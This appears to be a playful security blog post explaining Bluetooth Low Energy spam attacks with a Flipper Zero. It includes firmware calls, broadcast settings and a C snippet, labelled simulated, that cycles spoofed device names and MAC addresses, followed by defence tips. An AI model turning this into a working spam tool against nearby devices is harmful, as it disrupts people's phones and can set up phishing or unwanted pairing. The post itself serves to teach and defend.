❄️Let’s Talk BLE Spam Attacks!

Hey everyone, welcome back to the Icebox!
I’m your frosty host, 404Yeti, and today we’re diving into the chilly world of Bluetooth Low Energy (BLE) spam attacks — what they are, why they’re a big deal, and how to defend yourself.
Buckle up, snow troopers. This one’s gonna frost your circuits.

🧊 So... What Is a BLE Spam Attack?

A BLE (Bluetooth Low Energy) spam attack involves flooding nearby devices with fake BLE connection requests or advertisements. These spoofed devices might show up as:

• "KeyBoard_BLE"
• "AirPods123"
• "Car_BT"
• …or even your grandma’s Bluetooth toaster.

The goal? To confuse users, overwhelm mobile devices, and in some cases — set the stage for further attacks (like phishing or device hijack).

Let’s just say, Yeti doesn't pair with strangers, and neither should you.

🎥 Demo Time: BLE Spam in Action with Flipper Zero

in this demo, I’m using a Flipper Zero to launch a BLE spam attack that disrupts Bluetooth connectivity on a nearby device.

Why does this work?
The Flipper's firmware sends spoofed BLE advertisements in rapid succession, exploiting how mobile Bluetooth stacks handle limited connection queues. Boom. UI chaos.

This flooding behavior happens because the firmware is broadcasting multiple spoofed BLE advertisement packets simultaneously, taking advantage of the limited resources in mobile Bluetooth stacks.

🧠 Under the Hood: How the Attack Actually Works

Here’s where we get into the icy gears of the BLE snow machine.

Core Functions used:

furi_hal_bt_extra_beacon_set_config(&config);
furi_hal_bt_extra_beacon_set_data(data, len);
furi_hal_bt_extra_beacon_start();

💥 Broadcast Configuration

These values control how the fake BLE packets are sent:

local_config->min_adv_interval_ms = 50;
local_config->max_adv_interval_ms = 150;
local_config->adv_channel_map = GapAdvChannelMapAll;

🐾 Full Code Example (Yeti-Flavored)

This is a simulated snippet based on the concept (don't go causing chaos unless it's for learning!)

#include <extra_beacon.h>
#include <furi_hal_bt.h>
#include <string.h>
#include <unistd.h> // for sleep() or usleep()

const char* spam_names[] = {
    "iPhone_ProMax", "Galaxy_Speaker", "AirPods123", 
    "Car_BT", "Smart_TV", "Fitness_Tracker", 
    "ToothBrush_X", "KeyBoard_BLE", "KitchenSink", "MouseBLE"
};

void run_ble_spam() {
    GapExtraBeaconConfig config;
    memset(&config, 0, sizeof(config));

    config.min_adv_interval_ms = 50;
    config.max_adv_interval_ms = 100;
    config.adv_channel_map = GapAdvChannelMapAll;
    config.adv_power_level = GapAdvPowerLevel_0dBm;
    config.address_type = GapAddressTypePublic;

    for(int i = 0; i < 10; ++i) {
        // Change MAC address to appear different
        memcpy(config.address, furi_hal_version_get_ble_mac(), 6);
        config.address[0] ^= i;  // simple spoofing technique

        // Set the config
        furi_hal_bt_extra_beacon_set_config(&config);

        // Set spoofed device name
        const char* name = spam_names[i % (sizeof(spam_names) / sizeof(spam_names[0]))];
        furi_hal_bt_extra_beacon_set_data((const uint8_t*)name, strlen(name));

        // Start beacon
        furi_hal_bt_extra_beacon_start();

        // Let it advertise briefly
        furi_delay_ms(200); // 200ms is fast enough to trigger UI popups on some phones

        // Stop before the next loop
        furi_hal_bt_extra_beacon_stop();
    }
}

🔥 Why This Attack Actually Matters

Most users don’t realize:

• BLE is always listening, even if you’re not using it.
• Some operating systems don’t properly validate BLE broadcasts.
• This opens the door to:

🧨 Phishing setups
🧨 Accidental pairing
🧨 Crashing or stalling Bluetooth services

As your friendly neighborhood Yeti says:

"If it’s broadcasting in the dark, it might be trying to spark… trouble."

How to Defend Your Devices

Stay frostbitten, not compromised. Here's what you can do:

✅ On All Devices:

• Turn off Bluetooth when not in use.
• Don’t accept pairings you didn’t initiate.
• Be skeptical of sudden popups asking for pairing.

✅ Android Specific:

• Enable Developer Options > Bluetooth HCI Snoop Log to track incoming BLE requests.

✅ iOS Specific:

• Keep iOS updated — Apple’s been quietly beefing up BLE security.

🧊 Final Thoughts from the Tundra

BLE spam attacks like this one demonstrate how easy it is to abuse open radio frequencies. But with the right knowledge (and maybe a little help from your frosty friend), you can stay one snowball’s throw ahead of the attackers.

Flipper Zero isn't just a toy — it’s a teaching tool. And in the right hands, it can help demystify wireless vulnerabilities and inspire better security practices.

Thanks for chillin’ with me today.
Until next time, stay frosty and don’t pair with penguins.

❄️ 404Yeti out.